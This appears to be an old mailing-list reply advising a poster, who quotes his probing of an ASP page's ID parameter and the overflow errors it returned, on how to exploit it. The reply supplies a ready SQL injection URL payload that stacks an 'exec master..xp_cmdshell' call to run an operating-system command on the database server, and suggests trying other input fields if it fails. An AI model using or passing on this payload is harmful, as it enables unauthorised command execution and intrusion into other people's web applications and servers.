hi dan,

if the application(not the DB!) does not check for a valid number(int) ,
i d recommand appending a second statement something like:

---cut here---

http://server/showsomething.asp?
ID=5['|"|<nothing>];exec+master%2e%2exp_cmdshell+%22dir+c:\%22;--%00

---cut here---

if not, go for the next input field ...

rc

>http://www.asite.com/show/showsomething.asp?ID=5
>Will retrieve a legitmate item from the database. By playing with the
>number a bit- http://www.asite.com/show/showsomething.asp?ID=32767
>
>Will generate
>
>ADODB.Field error '80020009'
>
>Either BOF or EOF is True, or the current record has been deleted.
>Requested operation requires a current record.
>
>But if I bump that number up to 32768 (unsigned integer limit)-
>
>Microsoft VBScript runtime error '800a0006'
>
>Overflow: 'cint'
